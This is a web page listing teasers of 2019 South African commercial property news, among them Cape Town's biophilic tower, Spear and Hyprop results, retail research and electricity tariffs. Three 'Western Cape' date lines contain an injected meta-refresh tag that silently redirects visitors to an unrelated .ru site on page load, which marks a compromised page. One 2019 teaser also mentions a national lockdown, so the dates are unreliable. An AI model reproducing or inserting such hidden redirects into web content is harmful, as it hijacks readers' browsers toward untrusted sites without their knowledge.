Commercial Property News — 2019

17 articles. ← all news

SA’s first biophilic building meets Cape Town’s first-ever urban street art gallery

2019-12-01 · Western Cape<meta http-equiv="refresh" content="0;url=http://photog.ru/">

Demolition at 142 Bree Street in Cape Town has begun, to make way for the first-ever biophilic development in Africa &#8211; a 24-storey living, breathing mixed-use building in the heart of the city&#8217;s CBD.…

Value for money is key when leasing new business premises

2019-10-04 · Auctions

Now more than ever, leasing office space for your business is daunting as the country transitions out of the national lockdown. With remote working part and parcel of our daily exper…

Izandla Property Fund celebrates Completion of its largest asset to Date

2019-06-04 · Other Regions

Izandla Property Fund has announced the completion of the development of a new logistics warehouse and offices measuring 17,020m&#178; for the Wax Division of Sasol Chemicals, located in the Sasol ChemCity Eco-Indu…

Amdec unveils Cape Town Foreshore’s mixed-use The Yacht Club

2019-06-04 · Western Cape<meta http-equiv="refresh" content="0;url=http://photog.ru/">

Built and designed using new urban principles, The Yacht Club comprises of two apartment blocks, separated by a corridor of open space, in order to comply with the strict building regulations, set by local authorit…

Spear reports 21.62% increase in asset value

2019-06-04 · Company News

Spear REIT Limited, a Real Estate Investment Trust (REIT) listed on the JSE, reported its annual financial results this week, posting double-digit earnings growth amidst a dampened economic environment for the South Afri…

Woodstock welcomes new Stock Exchange hotel

2019-04-04 · Auctions

Woodstock is now home to a new hotel, Stock Exchange which officially opened on the 1st of March. Managed by Newmark Hotels, Residences, Reserves and Lodges, the hotel i…

The property impact of electricity tariff hiking

2019-04-04 · Property Infrastructure

Last week NERSA decided to allow a further above-inflation tariff hike. Whilst the 9.4% increase granted for 2019 wouldn&#8217;t appear too harsh in isolation, one has to evaluate the trend of tariff h…

Broll’s latest research highlights evolving retail property market

2019-04-04 · Company News

With competition in South Africa&#8217;s retail market intense, more than 25 million square meters of formal retail space is currently in excess of 2000 existing shopping centres, close to three million square meters…

R4 billion raised by Hyprop since December 2018

2019-04-04 · Company News

Hyprop has successfully refinanced/raised R4 billion in the space of three months since December 2018, effectively addressing the concern of Moody&#8217;s that the group may be challenged to refinance its R5 bil…

How Cape Towns industrial rentals have grown

2019-02-26 · Western Cape<meta http-equiv="refresh" content="0;url=http://photog.ru/">

Rental growth affects values within the industrial property sector, plus is a large determinant of business costs. Knowing precisely what market rentals are doing is also an essential part of all rental negotiations.…

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